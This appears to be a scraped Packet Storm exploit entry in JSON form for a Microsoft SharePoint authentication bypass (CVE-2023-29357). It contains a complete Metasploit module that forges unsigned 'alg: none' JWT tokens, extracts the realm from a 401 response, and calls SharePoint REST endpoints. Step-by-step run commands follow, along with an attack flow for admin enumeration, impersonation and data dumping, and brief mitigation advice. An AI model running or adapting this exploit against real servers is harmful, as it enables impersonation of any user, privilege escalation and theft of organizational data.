{“lastseen”:”2025-11-26T18:13:29″,”description”:”This is a proof of concept exploit for a Microsoft Sharepoint authentication bypass vulnerability discovered in 2023…”,”published”:”2025-11-26T00:00:00″,”modified”:”2025-11-26T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Microsoft Sharepoint Authentication Bypass”,”source”:””,”references”:””,”id”:”PACKETSTORM:212111″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2023-24955″,”CVE-2023-29357″],”sourceData”:”=============================================================================================================================================\\n | # Title : SharePoint Authentication Bypass |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits) |\\n | # Vendor : https:\/\/www.microsoft.com\/en-us\/microsoft-365\/sharepoint\/collaboration |\\n =============================================================================================================================================\\n \\n POC : \\n \\n 1. Summary :\\n a critical authentication bypass vulnerability in Microsoft SharePoint known as CVE\u20112023\u201129357. (https:\/\/packetstorm.news\/files\/id\/207960\/)\\n The flaw allows an attacker to craft an unsigned JWT token with \\”alg\\”: \\”none\\” and impersonate any SharePoint user, \\n including Site Administrators, without possessing valid credentials.\\n The vulnerability is dangerous because it exposes internal SharePoint APIs and may enable privilege escalation or full system compromise.\\n \\n \\n ————————-\\n How to Run the Exploit\\n ————————-\\n \\n ### **1. Save the script**\\n \\n Save the code as:\\n \\n ~\/.msf4\/modules\/auxiliary\/sharepoint\/cve_2023_29357.rb\\n \\n \\n ### **2. Start it from terminal**\\n \\n msfconsole\\n use auxiliary\/sharepoint\/cve_2023_29357\\n set RHOSTS https:\/\/target.com\\n run\\n \\n ————————-\\n auxiliary :\\n ————————-\\n ##\\n # CVE\u20112023\u201129357 SharePoint Auth Bypass\\n # by Indoushka \\n ##\\n \\n class MetasploitModule \\u003c Msf::Auxiliary\\n include Msf::Exploit::Remote::HttpClient\\n \\n def initialize(info = {})\\n super(update_info(info,\\n ‘Name’ =\\u003e ‘SharePoint Auth Bypass (CVE\u20112023\u201129357)’,\\n ‘Description’ =\\u003e %q{\\n This module exploits an authentication bypass in Microsoft SharePoint\\n (CVE\u20112023\u201129357) using a crafted JWT token with \\”alg\\”:\\”none\\”.\\n },\\n ‘Author’ =\\u003e [\\n ‘Indoushka (Conversion to MSF)’\\n ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2023-29357’]\\n ]\\n ))\\n \\n register_options(\\n [\\n OptString.new(‘TARGETURI’, [ true, ‘Base SharePoint URL’, ‘\/’ ])\\n ]\\n )\\n end\\n \\n def create_jwt(aud, client_id)\\n header = { alg: ‘none’ }\\n now = Time.now.to_i\\n payload = {\\n aud: aud,\\n iss: client_id,\\n nbf: now,\\n exp: now + 3600,\\n ver: \\”hashedprooftoken\\”,\\n nameid: \\”#{client_id}@#{aud.split(‘@’)[1]}\\”,\\n endpointurl: \\”qqlAJmTxpB9A67xSyZk+tmrrNmYClY\/fqig7ceZNsSM=\\”,\\n endpointurlLength: 1,\\n isloopback: true\\n }\\n \\n encoded_header = Rex::Text.encode_base64url(header.to_json)\\n encoded_payload = Rex::Text.encode_base64url(payload.to_json)\\n \\n \\”#{encoded_header}.#{encoded_payload}.AAA\\”\\n end\\n \\n def get_realm\\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, \\”_api\/web\/siteusers\\”),\\n ‘headers’ =\\u003e { ‘Authorization’ =\\u003e ‘Bearer ‘ }\\n }, 3)\\n \\n return nil unless res\\u0026.code == 401\\n \\n auth = res.headers[‘WWW-Authenticate’]\\n return nil unless auth\\n \\n realm = auth[\/realm=\\\\\\”([^\\\\\\”]+)\\\\\\”\/, 1]\\n realm\\n end\\n \\n def run\\n client_id = \\”00000003-0000-0ff1-ce00-000000000000\\”\\n print_status(\\”[*] Fetching realm\u2026\\”)\\n \\n realm = get_realm\\n \\n if realm.nil?\\n print_error(\\”[-] Failed to extract realm\\”)\\n return\\n end\\n \\n print_good(\\”[+] Realm: #{realm}\\”)\\n \\n aud = \\”#{client_id}@#{realm}\\”\\n jwt = create_jwt(aud, client_id)\\n \\n print_status(\\”[*] Trying authentication bypass\u2026\\”)\\n \\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, \\”_api\/web\/siteusers\\”),\\n ‘headers’ =\\u003e {\\n ‘Authorization’ =\\u003e \\”Bearer #{jwt}\\”,\\n ‘X-PROOF_TOKEN’ =\\u003e jwt,\\n ‘Accept’ =\\u003e ‘application\/json’\\n }\\n }, 5)\\n \\n if res \\u0026\\u0026 res.code == 200\\n print_good(\\”[+] Authentication bypass success!\\”)\\n if res.body\\n print_line(res.body)\\n end\\n else\\n print_error(\\”[-] Bypass failed. HTTP #{res\\u0026.code}\\”)\\n end\\n end\\n end\\n \\n ———————————————————————————————————\\n [ Technical Description ]\\n ———————————————————————————————————\\n \\n \u2022 The attacker sends a request to:\\n https:\/\/TARGET\/_api\/web\/siteusers\\n This forces SharePoint to respond with a 401 and expose the Realm value.\\n \\n \u2022 The Realm is extracted from the \u201cWWW\u2011Authenticate\u201d header:\\n Bearer realm=\\”XXXXXXXXXXXXXXXXXXXXXXXXXXXX\\”\\n \\n \u2022 The attacker forges a JWT token with:\\n { \\”alg\\”: \\”none\\” }\\n \\n \u2022 The \u201caud\u201d field is constructed as:\\n 00000003-0000-0ff1-ce00-000000000000@REALM\\n \\n \u2022 The forged token is sent to SharePoint REST API endpoints.\\n \\n \u2022 SharePoint incorrectly validates the token and treats the attacker as an authenticated user.\\n The following module performs:\\n \\n 1. Realm extraction \\n 2. Token forgery \\n 3. Authentication bypass \\n 4. Admin enumeration \\n 5. Privilege validation \\n \\n Core logic excerpt (Metasploit Ruby):\\n \\n jwt_header = { alg: \\”none\\” }.to_json\\n jwt_payload = {\\n aud: \\”#{client_id}@#{realm}\\”,\\n iss: client_id,\\n nbf: Time.now.to_i,\\n exp: Time.now.to_i + 3600,\\n ver: \\”hashedprooftoken\\”,\\n nameid: \\”#{client_id}@#{realm}\\”,\\n endpointurl: \\”qqlAJmTxpB9A67xSyZk+tmrrNmYClY\/fqig7ceZNsSM=\\”,\\n endpointurlLength: 1,\\n isloopback: true\\n }.to_json\\n \\n unsigned_token = \\”#{b64(jwt_header)}.#{b64(jwt_payload)}.AAA\\”\\n \\n send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(‘_api’, ‘web’, ‘currentuser’),\\n ‘headers’ =\\u003e {\\n \\”Authorization\\” =\\u003e \\”Bearer #{unsigned_token}\\”,\\n \\”X-PROOF_TOKEN\\” =\\u003e unsigned_token\\n }\\n })\\n \\n ———————————————————————————————————\\n [ Attack Flow ]\\n ———————————————————————————————————\\n \\n 1. Force 401 \u2192 Extract Realm \\n 2. Build forged JWT \\n 3. Bypass authentication \\n 4. Enumerate site admins \\n 5. Optional: Impersonate admin (SharePoint accepts spoofing) \\n 6. Dump internal API data \\n \\n ———————————————————————————————————\\n [ Impact ]\\n ———————————————————————————————————\\n \\n \u2714 Full user enumeration \\n \u2714 Admin identification \\n \u2714 Access to restricted SharePoint API routes \\n \u2714 Potential privilege escalation \\n \u2714 Ability to chain with RCE vulnerabilities (CVE\u20112023\u201124955) \\n \u2714 Data leakage (lists, documents, users, groups\u2026) \\n \\n Severity: **CRITICAL**\\n \\n ———————————————————————————————————\\n [ Mitigation ]\\n ———————————————————————————————————\\n \\n \u2022 Install the official Microsoft patch \\n \u2022 Enforce strict JWT signature verification \\n \u2022 Reject any token with \\”alg:none\\” \\n \u2022 Disable loopback trust token mode \\n \u2022 Monitor ULS logs for abnormal access patterns \\n \\n ———————————————————————————————————\\n [ Conclusion ]\\n ———————————————————————————————————\\n \\n CVE\u20112023\u201129357 is a severe authentication bypass allowing attackers to impersonate\\n any SharePoint user without credentials. \\n The vulnerability is trivial to exploit and provides high\u2011value access to internal\\n SharePoint data and admin functions.\\n \\n Patch immediately.\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212111″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/212111\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-11-26T18:13:29″,”description”:”This is a proof of concept exploit for a Microsoft Sharepoint authentication bypass vulnerability discovered in 2023…”,”published”:”2025-11-26T00:00:00″,”modified”:”2025-11-26T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Microsoft Sharepoint Authentication Bypass”,”source”:””,”references”:””,”id”:”PACKETSTORM:212111″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2023-24955″,”CVE-2023-29357″],”sourceData”:”=============================================================================================================================================\\n | # Title :…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-27748","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n